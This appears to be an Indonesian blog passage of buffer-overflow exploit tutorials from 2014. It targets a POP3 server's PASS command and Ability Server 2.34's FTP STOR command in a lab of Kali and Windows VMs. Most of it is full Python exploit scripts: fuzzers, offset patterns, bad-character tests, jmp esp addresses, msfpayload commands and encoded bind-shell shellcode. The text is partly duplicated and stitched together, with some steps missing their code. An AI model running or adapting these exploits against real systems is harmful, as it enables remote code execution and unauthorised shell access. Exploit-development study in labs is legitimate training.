d7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
fuzz(command)
Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/pythonDan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.
import socket
host = '10.7.9.246'
port = 110
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('USER cool\r\n')
print s.recv(1024)
s.send('PASS ' + payload + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
print s.recv(1024)
s.shutdown
s.close
offsets = {
'EIP':2606,
'ESP':2610
}
command = "A" * (offsets['EIP'])
command += "B" * 4 # berikut nya akan di isi alamat jmp esp shell32.dll
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
fuzz(command)
Sekarang kita coba hapus karakter "\x00 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Dan ternyata EIP berhasil kita ubah value nya.
Kemudian kita cari alamat memory yang berisi "jmp esp" di file shell32.dll, seperti pada gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00\x0a\x0d" -t cKemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/pythonSelanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:
import socket
host = '10.7.9.246'
port = 110
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('USER cool\r\n')
print s.recv(1024)
s.send('PASS ' + payload + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
print s.recv(1024)
s.shutdown
s.close
offsets = {
'EIP':2606,
'ESP':2610
}
command = "A" * (offsets['EIP'])
command += "\x4b\x77\xa6\x7c" # jmp esp shell32.dll
command += "\x90" * 20 # nop sleed 20x
command += ("\xd9\xcd\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xba\x74\xc7\x99"
"\x98\x83\xc0\x04\x31\x50\x14\x03\x50\x60\x25\x6c\x64\x60\x20"
"\x8f\x95\x70\x53\x19\x70\x41\x41\x7d\xf0\xf3\x55\xf5\x54\xff"
"\x1e\x5b\x4d\x74\x52\x74\x62\x3d\xd9\xa2\x4d\xbe\xef\x6a\x01"
"\x7c\x71\x17\x58\x50\x51\x26\x93\xa5\x90\x6f\xce\x45\xc0\x38"
"\x84\xf7\xf5\x4d\xd8\xcb\xf4\x81\x56\x73\x8f\xa4\xa9\x07\x25"
"\xa6\xf9\xb7\x32\xe0\xe1\xbc\x1d\xd1\x10\x11\x7e\x2d\x5a\x1e"
"\xb5\xc5\x5d\xf6\x87\x26\x6c\x36\x4b\x19\x40\xbb\x95\x5d\x67"
"\x23\xe0\x95\x9b\xde\xf3\x6d\xe1\x04\x71\x70\x41\xcf\x21\x50"
"\x73\x1c\xb7\x13\x7f\xe9\xb3\x7c\x9c\xec\x10\xf7\x98\x65\x97"
"\xd8\x28\x3d\xbc\xfc\x71\xe6\xdd\xa5\xdf\x49\xe1\xb6\xb8\x36"
"\x47\xbc\x2b\x23\xf1\x9f\x23\x80\xcc\x1f\xb4\x8e\x47\x53\x86"
"\x11\xfc\xfb\xaa\xda\xda\xfc\xcd\xf1\x9b\x93\x33\xf9\xdb\xba"
"\xf7\xad\x8b\xd4\xde\xcd\x47\x25\xde\x18\xc7\x75\x70\xf2\xa8"
"\x25\x30\xa2\x40\x2c\xbf\x9d\x71\x4f\x15\xa8\xb5\x81\x4d\xf9"
"\x51\xe0\x71\xec\xfd\x6d\x97\x64\xee\x3b\x0f\x10\xcc\x1f\x98"
"\x87\x2f\x4a\xb4\x10\xb8\xc2\xd2\xa6\xc7\xd2\xf0\x85\x64\x7a"
"\x93\x5d\x67\xbf\x82\x62\xa2\x97\xcd\x5b\x25\x6d\xa0\x2e\xd7"
"\x72\xe9\xd8\x74\xe0\x76\x18\xf2\x19\x21\x4f\x53\xef\x38\x05"
"\x49\x56\x93\x3b\x90\x0e\xdc\xff\x4f\xf3\xe3\xfe\x02\x4f\xc0"
"\x10\xdb\x50\x4c\x44\xb3\x06\x1a\x32\x75\xf1\xec\xec\x2f\xae"
"\xa6\x78\xa9\x9c\x78\xfe\xb6\xc8\x0e\x1e\x06\xa5\x56\x21\xa7"
"\x21\x5f\x5a\xd5\xd1\xa0\xb1\x5d\xef\x51\x0b\x48\x78\xc8\xfe"
"\x31\xe4\xeb\xd5\x76\x11\x68\xdf\x06\xe6\x70\xaa\x03\xa2\x36"
"\x47\x7e\xbb\xd2\x67\x2d\xbc\xf6")
fuzz(command)
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Senin, 07 April 2014
Experimen BoF Ke-6
Hari ini kita akan belajar untuk memahami cara kerja dari buffer
overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya
versi software tersebut sudah lama dan sudah terdapat public exploit
nya juga, di sini kita akan mencoba membuat exploit versi sendiri,
semoga bisa di ikuti
ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi Ability Server.exe v2.34, yg bisa di download di sini
- contoh penampakan software Ability Server.exe v2.34
- sedikit pemahaman tentang python di perlukan :D
- pastikan sudah membuat user dan password dummy untuk uji coba ini, berikut ini penampakan nya
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 2000.
Script yang di gunakan seperti berikut:
Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.
Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 2000, sekarang kita akan membuat pattern string sebanyak 2000 juga, seperti pada gambar di bawah ini :
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
Sekarang kita coba hapus karakter "\x00 \x09 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Dan ternyata EIP berhasil kita ubah value nya.
Kemudian kita cari alamat memory yang berisi "jmp esp" di file user32.dll, seperti pada gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi Ability Server.exe v2.34, yg bisa di download di sini
- contoh penampakan software Ability Server.exe v2.34
- sedikit pemahaman tentang python di perlukan :D
- pastikan sudah membuat user dan password dummy untuk uji coba ini, berikut ini penampakan nya
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 2000.
Script yang di gunakan seperti berikut:
#!/usr/bin/python
import socket
host = "10.7.9.248"
port = 21
# create an array of buffers, from 2 to 2000, with inc of 20
buffer = ["A"]
counter = 20
while len(buffer) <= 30 :
buffer.append("A" * counter)
counter = counter + 100
# define the ftp commands to be fuzzed
commands = ["MKD","CWD","STOR"]
# run the fuzzing loop
for command in commands:
for string in buffer:
print "Sending command " + command + " with " + str(len(string)) + " bytes"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.recv(1024)
s.send('USER ftp\r\n') # login procedure
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.send(command + ' ' + string + '\r\n') # evil buffer
s.recv(1024)
s.send('QUIT\r\n')
s.close()
Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.
Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 2000, sekarang kita akan membuat pattern string sebanyak 2000 juga, seperti pada gambar di bawah ini :
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/pythonPerhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:
import socket
host = '10.7.9.248'
port = 21
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
print "Attacking {0}:{1} ...".format(host, port)
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/pythonDan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.
import socket
host = '10.7.9.248'
port = 21
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
offsets = {
'EIP':969,
'ESP':989
}
print "Attacking {0}:{1} ...".format(host, port)
buffer = "A" * (offsets["EIP"])
buffer += "B" * 4 # berikut nya di isi nilai jmp esp di user32.dll
buffer += "C" * 16 # di isi 989 - 969 - 4 = 16
buffer += "\90" * 16
buffer += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer += "D" * 1050
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Sekarang kita coba hapus karakter "\x00 \x09 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Dan ternyata EIP berhasil kita ubah value nya.
Kemudian kita cari alamat memory yang berisi "jmp esp" di file user32.dll, seperti pada gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00 \x09 \x0a \x0d" -t cKemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/pythonSelanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:
import socket
host = '10.7.9.248'
port = 22
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
offsets = {
'EIP':969,
'ESP':989
}
print "Attacking {0}:{1} ...".format(host, port)
buffer = "A" * (offsets["EIP"])
buffer += "\x53\x6d\x9c\x76"
buffer += "C" * 16 # di isi 989 - 969 - 4 = 16
buffer += "\x90" * 16 # nop sleed 16x
# 368 bytes
buffer += ("\xdb\xcd\xba\x43\x40\x2a\x6a\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x56\x83\xc6\x04\x31\x56\x14\x03\x56\x57\xa2\xdf\x96\xbf\xab"
"\x20\x67\x3f\xcc\xa9\x82\x0e\xde\xce\xc7\x22\xee\x85\x8a\xce"
"\x85\xc8\x3e\x45\xeb\xc4\x31\xee\x46\x33\x7f\xef\x66\xfb\xd3"
"\x33\xe8\x87\x29\x67\xca\xb6\xe1\x7a\x0b\xfe\x1c\x74\x59\x57"
"\x6a\x26\x4e\xdc\x2e\xfa\x6f\x32\x25\x42\x08\x37\xfa\x36\xa2"
"\x36\x2b\xe6\xb9\x71\xd3\x8d\xe6\xa1\xe2\x42\xf5\x9e\xad\xef"
"\xce\x55\x2c\x39\x1f\x95\x1e\x05\xcc\xa8\xae\x88\x0c\xec\x09"
"\x72\x7b\x06\x6a\x0f\x7c\xdd\x10\xcb\x09\xc0\xb3\x98\xaa\x20"
"\x45\x4d\x2c\xa2\x49\x3a\x3a\xec\x4d\xbd\xef\x86\x6a\x36\x0e"
"\x49\xfb\x0c\x35\x4d\xa7\xd7\x54\xd4\x0d\xb6\x69\x06\xe9\x67"
"\xcc\x4c\x18\x7c\x76\x0f\x75\xb1\x45\xb0\x85\xdd\xde\xc3\xb7"
"\x42\x75\x4c\xf4\x0b\x53\x8b\xfb\x26\x23\x03\x02\xc8\x54\x0d"
"\xc1\x9c\x04\x25\xe0\x9c\xce\xb5\x0d\x49\x40\xe6\xa1\x21\x21"
"\x56\x02\x91\xc9\xbc\x8d\xce\xea\xbe\x47\x79\x2d\x71\xb3\x2a"
"\xda\x70\x43\xdd\x46\xfc\xa5\xb7\x66\xa8\x7e\x2f\x45\x8f\xb6"
"\xc8\xb6\xe5\xea\x41\x21\xb1\xe4\x55\x4e\x42\x23\xf6\xe3\xea"
"\xa4\x8c\xef\x2e\xd4\x93\x25\x07\x9f\xac\xae\xdd\xf1\x7f\x4e"
"\xe1\xdb\x17\xf3\x70\x80\xe7\x7a\x69\x1f\xb0\x2b\x5f\x56\x54"
"\xc6\xc6\xc0\x4a\x1b\x9e\x2b\xce\xc0\x63\xb5\xcf\x85\xd8\x91"
"\xdf\x53\xe0\x9d\x8b\x0b\xb7\x4b\x65\xea\x61\x3a\xdf\xa4\xde"
"\x94\xb7\x31\x2d\x27\xc1\x3d\x78\xd1\x2d\x8f\xd5\xa4\x52\x20"
"\xb2\x20\x2b\x5c\x22\xce\xe6\xe4\x52\x85\xaa\x4d\xfb\x40\x3f"
"\xcc\x66\x73\xea\x13\x9f\xf0\x1e\xec\x64\xe8\x6b\xe9\x21\xae"
"\x80\x83\x3a\x5b\xa6\x30\x3a\x4e")
buffer += "xcc" * 656
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Langganan:
Postingan (Atom)
















































